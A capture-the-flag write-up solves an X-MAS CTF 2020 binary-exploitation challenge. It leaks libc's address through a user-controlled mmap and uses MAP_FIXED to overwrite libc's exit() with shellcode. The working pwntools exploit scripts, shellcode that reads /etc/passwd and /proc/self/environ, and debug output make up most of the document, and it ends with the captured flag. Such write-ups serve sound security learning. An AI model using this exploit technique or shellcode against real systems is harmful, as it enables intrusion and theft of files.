Tags: shellcode libc_database pwnscripts map_fixed 

Rating:

Ministerul Mediului, Apelor și Pădurilor [476]

I thought that mmap-ing memory is safer than using malloc, so safe that I don't even need to enforce security checks. Well, I got it very very wrong.

Confused about the title? Google is too: https://imgur.com/a/QsSt41g

Update: If you exploit was working locally, but not on the remote, now it should work. I fixed the reading. Update: The flag is in /home/ctf/flag.txt (and for all other challenges)

Running on Ubuntu 20.04

Target: nc challs.xmas.htsp.ro 2003 Author: littlewho

Files: files.zip, containing chall and libc.so.6

TL;DR

  • use option 1 to leak libc as an offset from the pointer returned by mmap().
  • use option 1 (again) to call MAP_FIXED on libc itself, overwriting libc in memory
  • write "/bin/sh" shellcode over exit(); make sure the payload doesn't overwrite anything else important.
  • install pwnscripts thank
  • grab the flag

Unfortunate things

<p align="center"> <img src="PLT.png"><br> <i>Not great.</i> </p>

We'll semiautomate the process of library-function identification by enumerating the stuff with gdb+IDA:

gef➤  telescope (0x0000555555554000+0x3f00)
0x0000555555557f00│+0x0000: 0x0000000000003d00
0x0000555555557f08│+0x0008: 0x0000000000000000
0x0000555555557f10│+0x0010: 0x0000000000000000
0x0000555555557f18│+0x0018: 0x00007ffff7f93500  →  <seccomp_init+0> endbr64
0x0000555555557f20│+0x0020: 0x00007ffff7da0430  →  <__errno_location+0> endbr64
0x0000555555557f28│+0x0028: 0x00007ffff7e8be30  →  <unlink+0> endbr64
0x0000555555557f30│+0x0030: 0x00007ffff7f93b00  →  <seccomp_rule_add+0> endbr64
0x0000555555557f38│+0x0038: 0x00007ffff7e005a0  →  <puts+0> endbr64
0x0000555555557f40│+0x0040: 0x00007ffff7e8a1d0  →  <write+0> endbr64
0x0000555555557f48│+0x0048: 0x00007ffff7f937a0  →  <seccomp_load+0> endbr64
0x0000555555557f50│+0x0050: 0x00007ffff7dfdf50  →  <fclose+0> endbr64
0x0000555555557f58│+0x0058: 0x00007ffff7eabb00  →  <__stack_chk_fail+0> endbr64
0x0000555555557f60│+0x0060: 0x00007ffff7e94a20  →  <mmap64+0> endbr64
0x0000555555557f68│+0x0068: 0x00007ffff7e07c50  →  <setbuf+0> endbr64
0x0000555555557f70│+0x0070: 0x00007ffff7e5ef10  →  <alarm+0> endbr64
0x0000555555557f78│+0x0078: 0x00007ffff7e8a130  →  <read+0> endbr64
0x0000555555557f80│+0x0080: 0x00007ffff7dbf080  →  <ssignal+0> endbr64
0x0000555555557f88│+0x0088: 0x00007ffff7e9be90  →  <prctl+0> endbr64
0x0000555555557f90│+0x0090: 0x00007ffff7dfe4c0  →  <fflush+0> endbr64
0x0000555555557f98│+0x0098: 0x00007ffff7e91840  →  <mkstemp64+0> endbr64
0x0000555555557fa0│+0x00a0: 0x00007ffff7dfe1e0  →  <fdopen+0> endbr64
0x0000555555557fa8│+0x00a8: 0x00007ffff7eaa040  →  <__printf_chk+0> endbr64
0x0000555555557fb0│+0x00b0: 0x00007ffff7ddf230  →  <__isoc99_scanf+0> endbr64
0x0000555555557fb8│+0x00b8: 0x00007ffff7dc2bc0  →  <exit+0> endbr64
0x0000555555557fc0│+0x00c0: 0x00007ffff7dff480  →  <fwrite+0> endbr64
0x0000555555557fc8│+0x00c8: 0x00007ffff7eaa110  →  <__fprintf_chk+0> endbr64
0x0000555555557fd0│+0x00d0: 0x00007ffff7e1b580  →  <strerror+0> endbr64
0x0000555555557fd8│+0x00d8: 0x0000000000000000
0x0000555555557fe0│+0x00e0: 0x00007ffff7d9ffc0  →  <__libc_start_main+0> endbr64
0x0000555555557fe8│+0x00e8: 0x0000000000000000

<p align="center"> <img src="Automate.png"><br> <i>Input on right, results on left.</i> </p> We'll find that everything is labelled, bar these functions:

Since the challenge involves seccomp, let's just dump everything out:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0015
 0009: 0x15 0x05 0x00 0x00000009  if (A == mmap) goto 0015
 0010: 0x15 0x04 0x00 0x0000000b  if (A == munmap) goto 0015
 0011: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0015
 0012: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0015
 0013: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0015
 0014: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL

Judging by the challenge name, it seems that we'll need to exploit some seccomp escape vector via mmap. However, our job for the time being will just be figuring out what the binary does.

Static anal

The program starts with a few setup functions (start_logger(), setup()) before moving on to a main() loop involving a 3-option menu. setup() does the stuff you'd expect in a common CTF binary: an alarm() timeout + setting seccomp filters. start_logger() is specific to this challenge and should be inspected closely.

void start_logger() {   // probably the focus of the exploit.
  char uninit_stackvar[8]; // [rsp+10h] [rbp-28h] BYREF
  strcpy(uninit_stackvar, "XXXXX");             // required for mkstemp()
  __m128i fname = _mm_load_si128(&xmmword_2110);// i.e. filename = ...
  unsigned int fd = mkstemp64(&fname);          // /tmp/log.error.X
  unlink(&fname);                               // removes the tempfile
  logger_fd = fdopen(fd, "r+");                 // ...with the fd open.
  fwrite("Logger initialized.\n", 1, 20, logger_fd);
}
void timeout() {
  puts("Timeout...");
  exit(0xFFFFFFFFLL);
}
__int64 setbuf_stuff() {
  setbuf(stdout, 0);
  return setbuf(stdin, 0);
}
__int64 setup_seccomp() {
  prctl(38LL, 1LL);
  __int64 v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 2147418112LL, 15LL, 0LL);
  // more omitted rules; just see seccomp-tools...
  seccomp_rule_add(v0, 2147418112LL, 12LL, 0LL);
  return seccomp_load(v0);
}
__int64 setup() {
  ssignal(14, timeout);
  alarm(60);
  setbuf_stuff();
  return setup_seccomp();
}
const void *create_mmap() {
  unsigned int prot, flags, fd;
  __int64 addr, len, offset;

  _printf_chk(1LL, "addr = ");
  _isoc99_scanf("%zx", &addr);
  _printf_chk(1LL, "len  = ");
  _isoc99_scanf("%zx", &len);
  _printf_chk(1LL, "prot = ");
  _isoc99_scanf("%d", &prot);
  _printf_chk(1LL, "flags = ");
  _isoc99_scanf("%d", &flags);
  _printf_chk(1LL, "fd = ");
  _isoc99_scanf("%d", &fd);
  _printf_chk(1LL, "offset = ");
  _isoc99_scanf("%ld", &offset);
  const void *newmem = mmap64(addr, len, prot, flags, fd, offset);
  if ( newmem == (const void *)-1LL ) { // if allocation fails
    unsigned int *errno = _errno_location();
    const char *error_desc = strerror(*errno);
    _fprintf_chk(logger_fd, 1LL, "Failed to MMAP: %s\n", error_desc);
    return 0;
  } else {
    _fprintf_chk(logger_fd, 1LL, "MMAPed: %p\n", newmem);
    return newmem;
  }
}
int main() {
  unsigned int bytes_written; // er14
  __int64 bytes_read; // rax
  int sz; // [rsp+0h] [rbp-38h] BYREF
  int opt; // [rsp+4h] [rbp-34h] BYREF

  char *scratch = NULL;
  int loop_remaining = 10;
  start_logger();
  setup();
  puts("Ministerul Mediului Apelor si Padurilor aka MMAP");
  do {
    fflush(logger_fd);
    _printf_chk(1, "choice = ");
    _isoc99_scanf("%d", &opt);
    switch (opt){
    case 1:
      scratch = (char *)create_mmap();
      break;
    case 2:
      _printf_chk(1, "sz = ");
      _isoc99_scanf("%d", &sz);
      _printf_chk(1, "data = ");
      bytes_written = write(1, scratch, sz);
      puts("");
      _fprintf_chk(logger_fd, 1, "Written %d bytes to stdout\n", bytes_written);
      break;
    case 3:
      _printf_chk(1, "sz = ");
      _isoc99_scanf("%d", &sz);
      _printf_chk(1, "data = ");
      bytes_read = read(0, scratch, sz); // note: this was patched to be a repeating read() loop later on.
      _fprintf_chk(logger_fd, 1, "Read %d bytes from stdin\n", bytes_read);
      break;
    case 4:
        exit(0);
        break;
    }
  } while ( --loop_remaining );
  fclose(logger_fd);
  return 0LL;
}

The main loop menu gives 3+1 options:

  1. initialise a memory page via mmap(), with all arguments controlled by the user. the pointer to the mmaped region is returned, setting the variable scratch to it.
  2. this command will print a user-controlled number of bytes from scratch.
  3. this command will read in a user-controlled number of user-controlled bytes to scratch.
  4. This will quit the program

The nature of the exploit here is not immediately apparent. Given that there are no restrictions on o/r/w syscalls, the most difficult part of this challenge will probably be controlling RIP, because once we've done that, all we'll really have to do is to jump to a user-initialised rwx mmap page of read(open("flag"), buf, 999); for the flag<sup>1</sup>.

Before getting RIP to the shellcode we desire, we'll need to find some way to leak libc, or some other method we can use to alter code execution.

Finding libc

From another challenge I'd done previously<sup>2</sup>, I remembered that mmap, given addr=NULL, tends to put its new memory page extremely nearby the location of libc, giving an effective leak via logger_fd. On a machine with a similar libc version, I tested this:

from pwnscripts import *
context.binary = 'chall'
context.libc_database = 'libc-database'
r = context.binary.process()
def create(addr: int=0, length: int=0, prot: int=0, flags: int=0, fd: int=0, offset: int=0):
    r.sendlineafter('choice = ', '1')
    r.sendlineafter('addr = ', hex(addr))
    r.sendlineafter('len  = ', hex(length)) #there's an extra space here -_-
    r.sendlineafter('prot = ', str(prot))
    r.sendlineafter('flags = ', str(flags))
    r.sendlineafter('fd = ', str(fd))
    r.sendlineafter('offset = ', str(offset))
def write(sz: int):
    r.sendlineafter('choice = ', '2')
    r.sendlineafter('sz = ', str(sz))
    r.recvuntil('data = ')
    return b''.join(r.recv(0xfff) for _ in range(sz//0xfff)) + r.recv(sz%0xfff)
def read(sz: int, data: bytes):
    r.sendlineafter('choice = ', '3')
    r.sendlineafter('sz = ', str(sz))
    r.sendlineafter('data = ', str(data))
gdb.attach(r)
create(length=0x1000, prot=7, flags=1, fd=3)
r.interactive()
Before mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, 3, 0)
Start              End                Offset             Perm Path
0x00005654e60d5000 0x00005654e60f6000 0x0000000000000000 rw- [heap]
0x00007fc2fea31000 0x00007fc2fea34000 0x0000000000000000 rw-
0x00007fc2fea34000 0x00007fc2fea59000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fc2fea59000 0x00007fc2febd1000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fc2febd1000 0x00007fc2fec1b000 0x000000000019d000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fc2fec1b000 0x00007fc2fec1c000 0x00000000001e7000 --- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fc2fec1c000 0x00007fc2fec1f000 0x00000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fc2fec1f000 0x00007fc2fec22000 0x00000000001ea000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007fc2fec22000 0x00007fc2fec26000 0x0000000000000000 rw-
0x00007fc2fec26000 0x00007fc2fec4e000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.4.3
0x00007fc2fec4e000 0x00007fc2fec59000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libseccomp.so.2.4.3
0x00007fc2fec59000 0x00007fc2fec5d000 0x0000000000033000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.4.3
0x00007fc2fec5d000 0x00007fc2fec78000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.4.3
0x00007fc2fec78000 0x00007fc2fec79000 0x0000000000051000 rw- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.4.3
0x00007fc2fec79000 0x00007fc2fec7b000 0x0000000000000000 rw-
0x00007fc2fec86000 0x00007fc2fec87000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fc2fec87000 0x00007fc2fecaa000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fc2fecaa000 0x00007fc2fecb2000 0x0000000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fc2fecb3000 0x00007fc2fecb4000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fc2fecb4000 0x00007fc2fecb5000 0x000000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fc2fecb5000 0x00007fc2fecb6000 0x0000000000000000 rw-
0x00007fff596bf000 0x00007fff596e0000 0x0000000000000000 rw- [stack]
0x00007fff597eb000 0x00007fff597ee000 0x0000000000000000 r-- [vvar]
0x00007fff597ee000 0x00007fff597ef000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
After mmap(...)
Start              End                Offset             Perm Path
...
0x00007fc2fecaa000 0x00007fc2fecb2000 0x0000000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007fc2fecb2000 0x00007fc2fecb3000 0x0000000000000000 rwx /tmp/log.error.7mfmYG (deleted)
0x00007fc2fecb3000 0x00007fc2fecb4000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
...

This says that libc is 0x7fc2fecb2000-0x7fc2fea34000==0x27e000 bytes above wherever mmap is located on its first allocation. At this point, I'm not really sure<sup>3</sup> if this will hold on remote, or if it's even consistent locally. I test it another two times locally for good measure:

>>> hex(0x00007f6fb3d65000-0x00007f6fb3ae7000)
'0x27e000'
>>> hex(0x00007f98aa675000-0x00007f98aa3f7000)
'0x27e000'

Seems to stick.

EOF on remote

Since we can't exactly run vmmap on remote, we'll conduct an alternative litmus test of sorts: can we grab data from libc? If we can, we'll be able to

  • leak out other address types from libc, like stack/heap/PIE
  • write contiguously to writable regions of libc/libcseccomp/ld-linux, which will be somewhat difficult to exploit because of the need to "guess all the right values" before whatever it is we're genuinely hoping to overwrite. Similar problems present themselves for overwriting RIP at the stack.

We'll test it out with a short script: This leaks the libc addresses from the mmap address, and then attempts to leak the header for libc itself by allocating an mmap page directly above libc, allowing for contiguous reading:

create(length=0x1000, prot=7, flags=1, fd=3)
file_mmap = unpack_hex(write(0x30))
libc = file_mmap-0x27e000
create(addr=libc-0x1000, length=0x1000, prot=7, flags=0x32)
context.log_level = 'debug'
s = write(0x1010)
r.interactive()

The flags for the second mmap() call are MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS. Not entirely sure if the first flag is necessary, but MAP_FIXED is needed to place the page exactly before libc, and MAP_ANONYMOUS is done to ignore the value of fd passed to mmap().

Locally, this works fine:

[DEBUG] Received 0x5 bytes:
    b'sz = '
[DEBUG] Sent 0x5 bytes:
    b'4112\n'
[DEBUG] Received 0xfff bytes:
    00000000  64 61 74 61  20 3d 20 00  00 00 00 00  00 00 00 00  │data│ = ·│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000ff0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00     │····│····│····│···│
    00000fff
[DEBUG] Received 0x22 bytes:
    00000000  00 00 00 00  00 00 00 00  7f 45 4c 46  02 01 01 03  │····│····│·ELF│····│
    00000010  00 00 00 00  00 00 00 00  0a 63 68 6f  69 63 65 20  │····│····│·cho│ice │
    00000020  3d 20                                               │= │
    00000022
[*] Switching to interactive mode
\x00\x00\x00\x00choice = $

The ELF header in the second half of the DEBUG output corresponds to the start of a shared object. On remote, we receive NOTHING:

[DEBUG] Received 0x5 bytes:
    b'sz = '
[DEBUG] Sent 0x5 bytes:
    b'4112\n'
[DEBUG] Received 0x7 bytes:
    b'data = '
[DEBUG] Received 0xa bytes:
    b'\n'
    b'choice = '

Nothing is received at all. Maybe it's a page fault -- what if we reduce the size?

[DEBUG] Sent 0x3 bytes:
    b'16\n'
[DEBUG] Received 0x7 bytes:
    b'data = '
[DEBUG] Received 0x1a bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  0a 63 68 6f  69 63 65 20  3d 20                     │·cho│ice │= │
    0000001a
[*] Switching to interactive mode

choice = $

Works fine here. We're probably not getting aligned exactly above libc on remote. Let's try a little bit of cheap bruteforcing:

from sys import argv
create(length=0x1000, prot=7, flags=1, fd=3)
file_mmap = unpack_hex(write(0x30))
libc = file_mmap-0x27e000 + int(argv[1])*0x1000
create(addr=libc-0x1000, length=0x1000, prot=7, flags=0x32)
context.log_level = 'debug'
s = write(0x1010)
r.interactive()

We hit an unknown null-byte section at argv[1]=6:

[DEBUG] Received 0xb57 bytes:
    00000000  64 61 74 61  20 3d 20 00  00 00 00 00  00 00 00 00  │data│ = ·│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000b50  00 00 00 00  00 00 00                               │····│···│
    00000b57
[DEBUG] Received 0x4ca bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000004c0  0a 63 68 6f  69 63 65 20  3d 20                     │·cho│ice │= │
    000004ca
[*] Switching to interactive mode

Not entirely sure what it could be. 7 gives an EOFError (!), 8 gives the same nul-bytes, and 9 finally gives the ELF header we're looking for:

$ python3.8 misterul.py 9
...
[DEBUG] Received 0x4ca bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000004b0  7f 45 4c 46  02 01 01 03  00 00 00 00  00 00 00 00  │·ELF│····│····│····│
    000004c0  0a 63 68 6f  69 63 65 20  3d 20                     │·cho│ice │= │
    000004ca
[*] Switching to interactive mode

To verify that this is actually libc (and not some other shared object happened across), we'll try to leak "/bin/sh" from this bruteforced offset:

create(length=0x1000, prot=7, flags=1, fd=3)
file_mmap = unpack_hex(write(0x30))
libc = file_mmap-0x27e000 + 9*0x1000    # empirical for remote
create(addr=libc-0x1000, length=0x1000, prot=7, flags=0x32)
s = write(0x1000+context.libc.symbols['str_bin_sh']+8)
print(s[-8:])
r.interactive()

Works like a charm:

b'/bin/sh\x00'
[*] Switching to interactive mode

choice = $

With access to libc, what's next?

Overwriting

When I was looking up MAP_FIXED online, I noticed this stackoverflow page indicating that the option had the power to completely overwrite pre-existing mapped pages in the program.

That was from 2013. Surely someone would've patched it by now?

Before 2nd mmap()
0x00007f9353227000 0x00007f935322a000 0x0000000000000000 rw-
0x00007f935322a000 0x00007f935324f000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007f935324f000 0x00007f93533c7000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
After mmap(libc, 0x1000, PROT_RWX, MAP_(PRIVATE|FIXED|ANONYMOUS), 0, 0)
0x00007f935322a000 0x00007f935322b000 0x0000000000000000 rwx
0x00007f935322b000 0x00007f935324f000 0x0000000000001000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007f935324f000 0x00007f93533c7000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so

It's free real estate.

What we need to do now is to locate a section of libc that we can reallocate without busting the system immediately, while also working to execute the code we need to win.

I'll start by trying exit(), if only because it's a simple option to manipulate.<sup>4</sup>

create(length=0x1000, prot=7, flags=1, fd=3)
file_mmap = unpack_hex(write(0x30))
libc_offset = context.libc.symbols['exit']&0xfffff000
libc = file_mmap-0x27e000   # empirical for local
#libc+= 9*0x1000    # empirical for remote
create(addr=libc+libc_offset, length=0x1000, prot=7, flags=0x32)
# start of payload will be identical to the original contents of libc
payload = context.libc.get_data()[libc_offset:context.libc.symbols['exit']]
# exit() to be replaced with shellcode that will print flag with current seccomp filters in mind
payload+= asm(shellcraft.open(b'flag.txt') + shellcraft.readn(4, file_mmap, 10) + shellcraft.write(1, file_mmap, 20) + shellcraft.ret())
read(len(payload), payload)
r.sendlineafter('choice = ', '4')
r.interactive()

What we're doing here is:

  • Allocating the smallest possible page size that will override exit()
  • writing the original contents of libc back before exit() to ensure that there's as little crashing as possible,
  • Replace exit() with shellcode for printing a flag
  • run exit() to get the flag

This works locally (after creating a fake flag.txt):

[*] Switching to interactive mode
[DEBUG] Received 0x14 bytes:
    b'TEST{flag}tialized.\n'
TEST{flag}tialized.
[*] Got EOF while reading in interactive

But fails on remote:

[DEBUG] Received 0x9 bytes:
    b'choice = '
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[*] Switching to interactive mode
$

flag fails as well. Is the shellcode even working on remote?

One person from HATS suggested that I should try a known file like /etc/passwd.

create(addr=libc+libc_offset, length=0x1000, prot=7, flags=0x32)
payload = context.libc.get_data()[libc_offset:context.libc.symbols['exit']]
payload+= asm(shellcraft.open(b'/etc/passwd') + shellcraft.readn(4, file_mmap, 10) + shellcraft.write(1, file_mmap, 20) + shellcraft.ret())
read(len(payload), payload)
context.log_level = 'debug'
r.sendlineafter('choice = ', '4')
r.interactive()

That worked:

[DEBUG] Sent 0x2 bytes:
    b'4\n'
[*] Switching to interactive mode
[DEBUG] Received 0x14 bytes:
    b'root:x:0:0tialized.\n'
root:x:0:0tialized.
[*] Got EOF while reading in interactive

The only issue now is finding out what the name of the flag is. As I asked around in the challenge Discord for the flag location, I got another suggestion to check out /proc/self/environ:

HOSTNAME=3820746032cc\x00HLVL=1\x00OME=/root\x00HALL_USER=ctf\x00=/etc/init.d/xinetd\x00ATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\x00HALL_PATH=/home/ctf\x00WD=/home/ctf\x00EMOTE_HOST=94.130.52.180\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive

From there, I guessed the location of the flag at /home/ctf/flag.txt:

[*] Switching to interactive mode
[DEBUG] Received 0x14 bytes:
    b'X-MAS{70_m4p_0r_70_u'
X-MAS{70_m4p_0r_70_u[*] Got EOF while reading in interactive
$

As I grabbed this, the challenge author, @littlewho, replied to my calls for help<sup>5</sup>, and made a number of edits to the challenge description:

Update: The flag is in /home/ctf/flag.txt (and for all other challenges)

That confirms that.

With the power of manual bruteforcing<sup>6</sup>, I obtain the final flag with a length of 47:

create(addr=libc+libc_offset, length=0x1000, prot=7, flags=0x32)
payload = context.libc.get_data()[libc_offset:context.libc.symbols['exit']]
payload+= asm(shellcraft.open(b'/home/ctf/flag.txt') + shellcraft.readn(4, file_mmap, 47) + shellcraft.write(1, file_mmap, 47) + shellcraft.ret())
read(len(payload), payload)
context.log_level = 'debug'
r.sendlineafter('choice = ', '4')
r.interactive()

Flag

X-MAS{70_m4p_0r_70_unm4p_7h15_15_7h3_qu35710n}

Footnotes

  1. This was surprisingly on-point. At the time, I had half-considered the possibility that escaping seccomp might be necessary, but if that was the case, I wouldn't have solved the problem anyway.
  2. The relevant part is at the end of the write-up, where I observe that the pointer printed at the start of Electrostar's execution provides a libc leak that I could've used, if I had known how to solve part 2 of the challenge.
  3. I was kinda sure, considering that my machine was running Ubuntu 20.04.1 LTS with the exact same libc id:
    $ ./libc-database/identify libc.so.6
    libc6_2.31-0ubuntu9.1_amd64
    $ ./libc-database/identify /lib/x86_64-linux-gnu/libc.so.6
    libc6_2.31-0ubuntu9.1_amd64
    
    I'm still not entirely sure why the exploit offsets are different on remote. Perhaps there are differences in the shared objects for ld/seccomp that I failed to account for.
  4. Another worthwhile candidate might be fclose(), at the end of the do-while loop.
  5. Thanks.
  6. A physical do-while loop with my hands & keyboard:
    • :s/$number/$newnum/g
    • :w
    • C-z
    • ^[[A twice for python3.8 misterul.py
    • if flag not full, fg
Original writeup (https://github.com/IRS-Cybersec/ctfdump/tree/master/X-MASCTF2020/Binary%20Exploitation/Minister_Mediului).